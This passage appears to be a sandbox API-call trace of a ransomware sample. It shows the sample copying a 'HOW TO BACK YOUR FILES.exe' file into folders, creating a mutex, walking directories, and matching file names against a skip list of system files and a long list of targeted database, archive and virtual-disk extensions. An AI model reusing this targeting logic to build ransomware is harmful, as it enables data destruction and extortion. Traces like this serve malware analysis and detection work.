(HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.997] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.998] CloseHandle (hObject=0x154) returned 1 [0105.998] CloseHandle (hObject=0x17c) returned 1 [0105.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.999] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcac2fe20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcac2fe20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0105.999] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0105.999] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcac2fe20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcac2fe20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0105.999] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.999] ReleaseMutex (hMutex=0xec) returned 1 [0105.999] CloseHandle (hObject=0xec) returned 1 [0105.999] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" [0105.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0105.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f640 | out: hHeap=0x4f0000) returned 1 [0105.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 75 [0105.999] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6DCA1893566A3AA6AC20AD4DB571E21A") returned 0xec [0105.999] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.999] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" [0105.999] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.999] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0106.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0106.000] GetLastError () returned 0x0 [0106.000] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0106.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0106.000] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0106.001] CloseHandle (hObject=0xf4) returned 1 [0106.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0106.001] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcb6018e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcb6018e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0106.001] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.001] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.001] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0106.001] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcb6018e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcb6018e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.001] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.001] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.001] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0106.001] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0106.001] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0106.001] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.001] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.001] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".") returned 1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="..") returned 1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="windows") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="bootmgr") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="temp") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="pagefile.sys") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="boot") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ids.txt") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ntuser.dat") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="perflogs") returned -1 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="MSBuild") returned -1 [0106.002] lstrlenW (lpString="AccessMUI.msi") returned 13 [0106.002] lstrcpyW (in: lpString1=0x241e8e0, lpString2="AccessMUI.msi" | out: lpString1="AccessMUI.msi") returned="AccessMUI.msi" [0106.002] lstrlenW (lpString="AccessMUI.msi") returned 13 [0106.002] lstrlenW (lpString="Athena865") returned 9 [0106.002] lstrcmpiW (lpString1="ssMUI.msi", lpString2="Athena865") returned 1 [0106.002] lstrlenW (lpString=".dll") returned 4 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".dll") returned 1 [0106.002] lstrlenW (lpString=".lnk") returned 4 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".lnk") returned 1 [0106.002] lstrlenW (lpString=".ini") returned 4 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".ini") returned 1 [0106.002] lstrlenW (lpString=".sys") returned 4 [0106.002] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".sys") returned 1 [0106.002] lstrlenW (lpString="AccessMUI.msi") returned 13 [0106.002] lstrlenW (lpString="bak") returned 3 [0106.002] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0106.002] lstrlenW (lpString="ba_") returned 3 [0106.002] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0106.002] lstrlenW (lpString="dbb") returned 3 [0106.002] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0106.002] lstrlenW (lpString="vmdk") returned 4 [0106.002] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0106.002] lstrlenW (lpString="rar") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0106.003] lstrlenW (lpString="zip") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0106.003] lstrlenW (lpString="tgz") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0106.003] lstrlenW (lpString="vbox") returned 4 [0106.003] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0106.003] lstrlenW (lpString="vdi") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0106.003] lstrlenW (lpString="vhd") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0106.003] lstrlenW (lpString="vhdx") returned 4 [0106.003] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0106.003] lstrlenW (lpString="avhd") returned 4 [0106.003] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0106.003] lstrlenW (lpString="db") returned 2 [0106.003] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0106.003] lstrlenW (lpString="db2") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0106.003] lstrlenW (lpString="db3") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0106.003] lstrlenW (lpString="dbf") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0106.003] lstrlenW (lpString="mdf") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0106.003] lstrlenW (lpString="mdb") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0106.003] lstrlenW (lpString="sql") returned 3 [0106.003] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0106.003] lstrlenW (lpString="sqlite") returned 6 [0106.003] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0106.003] lstrlenW (lpString="sqlite3") returned 7 [0106.003] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0106.004] lstrlenW (lpString="sqlitedb") returned 8 [0106.004] lstrcmpiW (lpString1="sMUI.msi", lpString2="sqlitedb") returned -1 [0106.004] lstrlenW (lpString="xml") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0106.004] lstrlenW (lpString="$er") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0106.004] lstrlenW (lpString="4dd") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0106.004] lstrlenW (lpString="4dl") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0106.004] lstrlenW (lpString="^^^") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0106.004] lstrlenW (lpString="abs") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0106.004] lstrlenW (lpString="abx") returned 3 [0106.004] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0106.004] lstrlenW (lpString="accdb") returned 5 [0106.004] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0106.004] lstrlenW (lpString="accdc") returned 5 [0106.004] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0106.004] lstrlenW (lpString="accde") returned 5 [0106.004] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0106.004] lstrlenW (lpString="accdr") returned 5 [0106.004] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0106.004] lstrlenW (lpString="accdt") returned 5 [0106.004] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0106.004] lstrlenW (lpString="accdw") returned 5 [0106.005] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0106.005] lstrlenW (lpString="accft") returned 5 [0106.005] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0106.005] lstrlenW (lpString="adb") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0106.005] lstrlenW (lpString="adb") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0106.005] lstrlenW (lpString="ade") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0106.005] lstrlenW (lpString="adf") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0106.005] lstrlenW (lpString="adn") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0106.005] lstrlenW (lpString="adp") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0106.005] lstrlenW (lpString="alf") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0106.005] lstrlenW (lpString="ask") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0106.005] lstrlenW (lpString="btr") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0106.005] lstrlenW (lpString="cat") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0106.005] lstrlenW (lpString="cdb") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0106.005] lstrlenW (lpString="ckp") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0106.005] lstrlenW (lpString="cma") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0106.005] lstrlenW (lpString="cpd") returned 3 [0106.005] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0106.005] lstrlenW (lpString="dacpac") returned 6 [0106.005] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0106.006] lstrlenW (lpString="dad") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0106.006] lstrlenW (lpString="dadiagrams") returned 10 [0106.006] lstrcmpiW (lpString1="essMUI.msi", lpString2="dadiagrams") returned 1 [0106.006] lstrlenW (lpString="daschema") returned 8 [0106.006] lstrcmpiW (lpString1="sMUI.msi", lpString2="daschema") returned 1 [0106.006] lstrlenW (lpString="db-journal") returned 10 [0106.006] lstrcmpiW (lpString1="essMUI.msi", lpString2="db-journal") returned 1 [0106.006] lstrlenW (lpString="db-shm") returned 6 [0106.006] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0106.006] lstrlenW (lpString="db-wal") returned 6 [0106.006] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0106.006] lstrlenW (lpString="dbc") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0106.006] lstrlenW (lpString="dbs") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0106.006] lstrlenW (lpString="dbt") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0106.006] lstrlenW (lpString="dbv") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0106.006] lstrlenW (lpString="dbx") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0106.006] lstrlenW (lpString="dcb") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0106.006] lstrlenW (lpString="dct") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0106.006] lstrlenW (lpString="dcx") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0106.006] lstrlenW (lpString="ddl") returned 3 [0106.006] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0106.006] lstrlenW (lpString="dlis") returned 4 [0106.006] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0106.007] lstrlenW (lpString="dp1") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0106.007] lstrlenW (lpString="dqy") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0106.007] lstrlenW (lpString="dsk") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0106.007] lstrlenW (lpString="dsn") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0106.007] lstrlenW (lpString="dtsx") returned 4 [0106.007] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0106.007] lstrlenW (lpString="dxl") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0106.007] lstrlenW (lpString="eco") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0106.007] lstrlenW (lpString="ecx") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0106.007] lstrlenW (lpString="edb") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0106.007] lstrlenW (lpString="epim") returned 4 [0106.007] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0106.007] lstrlenW (lpString="fcd") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0106.007] lstrlenW (lpString="fdb") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0106.007] lstrlenW (lpString="fic") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0106.007] lstrlenW (lpString="flexolibrary") returned 12 [0106.007] lstrcmpiW (lpString1="ccessMUI.msi", lpString2="flexolibrary") returned -1 [0106.007] lstrlenW (lpString="fm5") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0106.007] lstrlenW (lpString="fmp") returned 3 [0106.007] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0106.007] lstrlenW (lpString="fmp12") returned 5 [0106.007] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0106.008] lstrlenW (lpString="fmpsl") returned 5 [0106.008] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0106.008] lstrlenW (lpString="fol") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0106.008] lstrlenW (lpString="fp3") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0106.008] lstrlenW (lpString="fp4") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0106.008] lstrlenW (lpString="fp5") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0106.008] lstrlenW (lpString="fp7") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0106.008] lstrlenW (lpString="fpt") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0106.008] lstrlenW (lpString="frm") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0106.008] lstrlenW (lpString="gdb") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0106.008] lstrlenW (lpString="gdb") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0106.008] lstrlenW (lpString="grdb") returned 4 [0106.008] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0106.008] lstrlenW (lpString="gwi") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0106.008] lstrlenW (lpString="hdb") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0106.008] lstrlenW (lpString="his") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0106.008] lstrlenW (lpString="ib") returned 2 [0106.008] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0106.008] lstrlenW (lpString="idb") returned 3 [0106.008] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0106.008] lstrlenW (lpString="ihx") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0106.009] lstrlenW (lpString="itdb") returned 4 [0106.009] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0106.009] lstrlenW (lpString="itw") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0106.009] lstrlenW (lpString="jet") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0106.009] lstrlenW (lpString="jtx") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0106.009] lstrlenW (lpString="kdb") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0106.009] lstrlenW (lpString="kexi") returned 4 [0106.009] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0106.009] lstrlenW (lpString="kexic") returned 5 [0106.009] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0106.009] lstrlenW (lpString="kexis") returned 5 [0106.009] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0106.009] lstrlenW (lpString="lgc") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0106.009] lstrlenW (lpString="lwx") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0106.009] lstrlenW (lpString="maf") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0106.009] lstrlenW (lpString="maq") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0106.009] lstrlenW (lpString="mar") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0106.009] lstrlenW (lpString="marshal") returned 7 [0106.009] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0106.009] lstrlenW (lpString="mas") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0106.009] lstrlenW (lpString="mav") returned 3 [0106.009] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0106.009] lstrlenW (lpString="maw") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0106.010] lstrlenW (lpString="mdbhtml") returned 7 [0106.010] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0106.010] lstrlenW (lpString="mdn") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0106.010] lstrlenW (lpString="mdt") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0106.010] lstrlenW (lpString="mfd") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0106.010] lstrlenW (lpString="mpd") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0106.010] lstrlenW (lpString="mrg") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0106.010] lstrlenW (lpString="mud") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0106.010] lstrlenW (lpString="mwb") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0106.010] lstrlenW (lpString="myd") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0106.010] lstrlenW (lpString="ndf") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0106.010] lstrlenW (lpString="nnt") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0106.010] lstrlenW (lpString="nrmlib") returned 6 [0106.010] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0106.010] lstrlenW (lpString="ns2") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0106.010] lstrlenW (lpString="ns3") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0106.010] lstrlenW (lpString="ns4") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0106.010] lstrlenW (lpString="nsf") returned 3 [0106.010] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0106.011] lstrlenW (lpString="nv") returned 2 [0106.011] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0106.011] lstrlenW (lpString="nv2") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0106.011] lstrlenW (lpString="nwdb") returned 4 [0106.011] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0106.011] lstrlenW (lpString="nyf") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0106.011] lstrlenW (lpString="odb") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0106.011] lstrlenW (lpString="odb") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0106.011] lstrlenW (lpString="oqy") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0106.011] lstrlenW (lpString="ora") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0106.011] lstrlenW (lpString="orx") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0106.011] lstrlenW (lpString="owc") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0106.011] lstrlenW (lpString="p96") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0106.011] lstrlenW (lpString="p97") returned 3 